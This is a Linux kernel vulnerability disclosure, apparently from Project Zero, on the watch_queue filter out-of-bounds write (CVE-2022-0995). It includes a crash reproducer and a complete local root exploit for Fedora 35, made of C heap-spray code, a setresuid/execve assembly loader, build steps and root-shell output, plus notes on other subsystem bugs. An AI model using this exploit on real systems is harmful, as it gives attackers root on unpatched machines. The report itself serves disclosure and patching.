Linux: watch_queue filter OOB write (and other bugs)<\/p>\n
This bug report is about things in the watch_queue subsystem,
\nwhich is only enabled under CONFIG_WATCH_QUEUE. That seems to be
\ndisabled e.g. on Debian, but Ubuntu and Fedora enable it.<\/p>\n
The watch_queue subsystem has a bug that leads to out-of-bounds
\nwrite in watch_queue_set_filter():
\nThe first loop correctly checks for<\/p>\n
if (tf[i].type >= sizeof(wfilter->type_filter) * 8)<\/p>\n
but the second loop has the bound for .type wrong by a factor of 8
\n(on 64-bit systems):<\/p>\n
if (tf[i].type >= sizeof(wfilter->type_filter) * BITS_PER_LONG)<\/p>\n
This leads to two out-of-bounds writes:<\/p>\n
1. out-of-bounds __set_bit() on wfilter->type_filter
\n2. out-of-bounds write of array elements behind wfilter->filters<\/p>\n
The following reproducer triggers an ASAN splat:
\n“`
\n#define _GNU_SOURCE
\n#include <unistd.h>
\n#include <err.h>
\n#include <stdio.h>
\n#include <stdlib.h>
\n#include <sys\/ioctl.h>
\n#include <sys\/syscall.h>
\n#include <linux\/watch_queue.h><\/p>\n
int main(void) {
\nint pipefds[2];
\nif (pipe2(pipefds, O_NOTIFICATION_PIPE))
\nerr(1, \\”pipe2\\”);
\nint pfd = pipefds[0];<\/p>\n
struct watch_notification_filter *filter =
\nmalloc(sizeof(struct watch_notification_filter) +
\nsizeof(struct watch_notification_type_filter));
\nfilter->nr_filters = 1;
\nfilter->__reserved = 0;
\nfilter->filters[0] = (struct watch_notification_type_filter){ .type = 1023 };
\nif (ioctl(pfd, IOC_WATCH_QUEUE_SET_FILTER, filter))
\nerr(1, \\”SET_FILTER\\”);
\n}
\n“`<\/p>\n
Here’s the splat:
\n“`
\n[ 83.180406][ T611] ==================================================================
\n[ 83.181694][ T611] BUG: KASAN: slab-out-of-bounds in watch_queue_set_filter+0x659\/0x740
\n[ 83.182928][ T611] Write of size 4 at addr ffff88800d2c66bc by task watch_queue_oob\/611
\n[…]\n[ 83.187234][ T611] Call Trace:
\n[ 83.187712][ T611] <TASK>
\n[ 83.188133][ T611] dump_stack_lvl+0x45\/0x59
\n[ 83.188796][ T611] print_address_description.constprop.0+0x1f\/0x150
\n[…]\n[ 83.190539][ T611] kasan_report.cold+0x7f\/0x11b
\n[…]\n[ 83.192236][ T611] watch_queue_set_filter+0x659\/0x740
\n[…]\n[ 83.194563][ T611] __x64_sys_ioctl+0x127\/0x190
\n[ 83.195297][ T611] do_syscall_64+0x43\/0x90
\n[ 83.195941][ T611] entry_SYSCALL_64_after_hwframe+0x44\/0xae
\n[…]\n[ 83.208194][ T611] Allocated by task 611:
\n[ 83.208807][ T611] kasan_save_stack+0x1e\/0x40
\n[ 83.209479][ T611] __kasan_kmalloc+0x81\/0xa0
\n[ 83.210258][ T611] watch_queue_set_filter+0x23a\/0x740
\n[ 83.211027][ T611] __x64_sys_ioctl+0x127\/0x190
\n[ 83.211708][ T611] do_syscall_64+0x43\/0x90
\n[ 83.212341][ T611] entry_SYSCALL_64_after_hwframe+0x44\/0xae
\n[ 83.213177][ T611]\n[ 83.213510][ T611] The buggy address belongs to the object at ffff88800d2c66a0
\n[ 83.213510][ T611] which belongs to the cache kmalloc-32 of size 32
\n[ 83.215452][ T611] The buggy address is located 28 bytes inside of
\n[ 83.215452][ T611] 32-byte region [ffff88800d2c66a0, ffff88800d2c66c0)
\n“`<\/p>\n
In case you’re wondering why syzkaller never managed to hit this:
\nIt actually has a definition file for watch queue stuff
\n(https:\/\/github.com\/google\/syzkaller\/blob\/master\/sys\/linux\/dev_watch_queue.txt),
\nbut that seems to be based on an older version of the series that introduced
\nwatch queues, so syzkaller doesn’t know about O_NOTIFICATION_PIPE and instead
\ntries to open \/dev\/watch_queue.<\/p>\n
Here’s an extremely shoddy exploit that will sometimes give you a root shell
\non Fedora 35 and sometimes instead make the system hang\/panic:
\n“`
\n[user@fedora watch_queue]$ cat watch_queue_oob_elf_phdr.c
\n#define _GNU_SOURCE
\n#include <unistd.h>
\n#include <err.h>
\n#include <stdio.h>
\n#include <stddef.h>
\n#include <sched.h>
\n\/\/header conflict :\/
\n\/\/#include <fcntl.h>
\nint open(const char *pathname, int flags, …);
\n#include <stdlib.h>
\n#include <sys\/ioctl.h>
\n#include <sys\/inotify.h>
\n#include <sys\/eventfd.h>
\n#include <sys\/resource.h>
\n#include <sys\/xattr.h>
\n#include <sys\/wait.h>
\n#include <sys\/mount.h>
\n#include <sys\/syscall.h>
\n#include <linux\/watch_queue.h>
\n#include <linux\/elf.h><\/p>\n
#define SYSCHK(x) ({ \\\\
\ntypeof(x) __res = (x); \\\\
\nif (__res == (typeof(x))-1) \\\\
\nerr(1, \\”SYSCHK(\\” #x \\”)\\”); \\\\
\n__res; \\\\
\n})<\/p>\n
int main(void) {
\nstruct rlimit rlim_nofile;
\nSYSCHK(getrlimit(RLIMIT_NOFILE, &rlim_nofile));
\nrlim_nofile.rlim_cur = rlim_nofile.rlim_max;
\nSYSCHK(setrlimit(RLIMIT_NOFILE, &rlim_nofile));<\/p>\n
\/\/ pin to one CPU core
\ncpu_set_t cpu_set;
\nCPU_ZERO(&cpu_set);
\nCPU_SET(0, &cpu_set);
\nSYSCHK(sched_setaffinity(0, sizeof(cpu_set_t), &cpu_set));<\/p>\n
\/\/ create notification pipes, without filters yet
\nint pfds[128];
\nfor (int i=0; i<128; i++) {
\nint pipefds[2];
\nSYSCHK(pipe2(pipefds, O_NOTIFICATION_PIPE));
\npfds[i] = pipefds[0];
\nclose(pipefds[1]);
\n}<\/p>\n
\/\/ create a child with SCHED_IDLE policy that runs execve() when told to
\nint continue_eventfd = SYSCHK(eventfd(0, 0));
\npid_t child = SYSCHK(fork());
\nif (child == 0) {
\nstruct sched_param param = { .sched_priority = 0 };
\nSYSCHK(sched_setscheduler(0, SCHED_IDLE, ¶m));<\/p>\n
eventfd_t evfd_value;
\nSYSCHK(eventfd_read(continue_eventfd, &evfd_value));<\/p>\n
SYSCHK(execl(\\”\/usr\/bin\/newgrp\\”, \\”newgrp\\”, \\”–bogus\\”, \\”\/bin\/bash\\”, NULL));
\n}<\/p>\n
\/\/ set up an inotify watch to notify us every time the ELF parser reads from
\n\/\/ the ELF binary (which involves preempting the ELF parser).
\nint infd = SYSCHK(inotify_init());
\nSYSCHK(inotify_add_watch(infd, \\”\/usr\/bin\/newgrp\\”, IN_ACCESS));<\/p>\n
\/\/ spam kmalloc-32 a bit. note that this might not be enough spam, depending
\n\/\/ on how fragmented the slab is…
\n\/\/ after spamming the slab, free all our allocations again, so that hopefully
\n\/\/ we end up with a (more or less) empty CPU slab.
\n#define NUM_SPAM 10000 \/* 900 *\/
\nSYSCHK(unshare(CLONE_NEWUSER|CLONE_NEWNS));
\nSYSCHK(mount(\\”none\\”, \\”\/dev\/shm\\”, \\”tmpfs\\”, MS_NOSUID|MS_NODEV, \\”\\”));
\nint tmpfile = SYSCHK(open(\\”\/dev\/shm\/\\”, O_TMPFILE|O_RDWR, 0666));
\nfor (int i=0; i<NUM_SPAM; i++) {
\nchar name[14] = \\”security.XXXX\\”;
\nname[ 9] = ‘A’ + ((i >> 0) % 16);
\nname[10] = ‘A’ + ((i >> 4) % 16);
\nname[11] = ‘A’ + ((i >> 8) % 16);
\nname[12] = ‘A’ + ((i >> 12) % 16);
\nSYSCHK(fsetxattr(tmpfile, name, \\”\\”, 0, XATTR_CREATE));
\n}
\nclose(tmpfile);<\/p>\n
\/\/ launch the ELF parser and preempt at every read.
\n\/\/ note that PREEMPT_VOLUNTARY means we actually don’t get rescheduled
\n\/\/ directly at kernel_read(), instead it happens on the next kmalloc():
\n\/\/ __kmalloc() -> slab_alloc() -> slab_alloc_node() -> slab_pre_alloc_hook()
\n\/\/ -> might_alloc() -> might_sleep_if() -> might_sleep() -> might_resched()
\n\/\/ -> __cond_resched()
\n\/\/
\n\/\/ First preemption is the allocation of memory for program headers,
\n\/\/ second preemption is the allocation of memory for the interpreter name.
\n\/\/ At the second preemption, the program headers have been loaded into
\n\/\/ memory but the interpreter name’s offset hasn’t been read yet.
\n\/\/ Third preemption is after the interpreter name has been stored in the
\n\/\/ allocation but before it is passed to the VFS for opening.
\nSYSCHK(eventfd_write(continue_eventfd, 1));
\nfor (int i=0; i<3; i++) {
\nstruct inotify_event inev;
\nif (SYSCHK(read(infd, &inev, sizeof(inev))) != sizeof(inev))
\nerrx(1, \\”bad inotify_event size\\”);
\n}<\/p>\n
struct watch_notification_filter *filter =
\nmalloc(sizeof(struct watch_notification_filter) +
\n2 * sizeof(struct watch_notification_type_filter));
\nfilter->nr_filters = 1;
\nfilter->__reserved = 0;
\nfilter->filters[0] = (struct watch_notification_type_filter){
\n.type = 20 * 8,
\n.info_mask = 0x80
\n};
\nfor (int i=0; i<127; i++) {
\nSYSCHK(ioctl(pfds[i], IOC_WATCH_QUEUE_SET_FILTER, filter));
\n}<\/p>\n
int status;
\nint wait_res = wait(&status);
\nprintf(\\”wait_res = %d\\
\n\\”, wait_res);
\nif (WIFEXITED(status)) {
\nprintf(\\”exited with status %d\\
\n\\”, WEXITSTATUS(status));
\n} else if (WIFSIGNALED(status)) {
\nprintf(\\”signaled with signal %d\\
\n\\”, WTERMSIG(status));
\n} else {
\nprintf(\\”other?\\
\n\\”);
\n}
\n}
\n[user@fedora watch_queue]$ gcc -o watch_queue_oob_elf_phdr watch_queue_oob_elf_phdr.c
\n[user@fedora watch_queue]$ cat bogus-loader.S
\n.global _start
\n_start:
\n\/* setresuid(0, 0, 0) *\/
\nmov $117, %eax
\nmov $0, %rdi
\nmov $0, %rsi
\nmov $0, %rdx
\nsyscall<\/p>\n
\/* execve(argv[2], argv+2, envv) *\/
\nmov $59, %eax
\nmov 24(%rsp), %rdi
\nlea 24(%rsp), %rsi
\nlea 40(%rsp), %rdx \/* assume argc==3 *\/
\nsyscall
\nint $3
\n[user@fedora watch_queue]$ as -o bogus-loader.o bogus-loader.S
\n[user@fedora watch_queue]$ ld -shared -o $’\\\\x80′ bogus-loader.o
\n[user@fedora watch_queue]$ .\/watch_queue_oob_elf_phdr
\n[root@fedora watch_queue]# id
\nuid=0(root) gid=1000(user) groups=1000(user),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
\n“`<\/p>\n
There are also some other bugs in the subsystem, but those are less
\neasy to exploit or not security bugs at all:<\/p>\n
1. free_pipe_info() first calls put_watch_queue(), which RCU-frees the
\nstruct watch_queue. Then afterwards it calls pipe_buf_release() on the
\npipe buffers, which calls watch_queue_pipe_buf_release(), which calls
\nset_bit() on the already RCU-freed watch_queue. This is at least
\ntheoretically a UAF, in particular under CONFIG_PREEPMT.<\/p>\n
2. watch_queue_pipe_buf_ops has a .get handler that calls
\ntry_get_page() and a .release handler that doesn’t touch the page count.
\nThis would be a bug, except that this is dead code because none of the
\nsplice stuff works on notification pipes.<\/p>\n
3. From what I can tell, watch_queue_set_size() permits setting a
\nnon-power-of-two number of buffers, which will break the code that
\nassumes that you can use bitmasks instead of modulo for indexing into
\nthe pipe buffers array.<\/p>\n
4. watch_queue_set_size() sets wqueue->nr_notes to nr_notes rounded up
\nto a multiple of WATCH_QUEUE_NOTES_PER_PAGE while allocating the
\n->notes_bitmap with size nr_notes bits rounded up to a multiple of
\nBITS_PER_LONG. On architectures with big PAGE_SIZE, this could lead to
\nwqueue->nr_notes being bigger than the bitmap.<\/p>\n
5. wqueue->notes_bitmap is never freed.<\/p>\n
6. There is no synchronization between post_one_notification() and
\npipe_read(), neither locking nor smp_store_release().<\/p>\n
7. watch_queue_clear() has a comment claiming that ->defunct prevents
\nnew additions and notifications, but actually it only prevents
\nnotifications, not additions.<\/p>\n
This bug is subject to a 90-day disclosure deadline. If a fix for this
\nissue is made available to users before the end of the 90-day deadline,
\nthis bug report will become public 30 days after the fix was made
\navailable. Otherwise, this bug report will become public at the deadline.
\nThe scheduled deadline is 2022-06-08.<\/p>\n
Related CVE Numbers: CVE-2022-0995.<\/p>\n
Found by: jannh@google.com<\/p>\n","protected":false},"excerpt":{"rendered":"
Linux: watch_queue filter OOB write (and other bugs) This bug report is about things in the watch_queue subsystem, which is only enabled under CONFIG_WATCH_QUEUE. That seems to be disabled e.g. on Debian, but Ubuntu and Fedora enable it. The watch_queue subsystem has a bug that leads to out-of-bounds write in watch_queue_set_filter(): The first loop correctly …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-23378","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/23378","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=23378"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/23378\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=23378"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=23378"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=23378"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}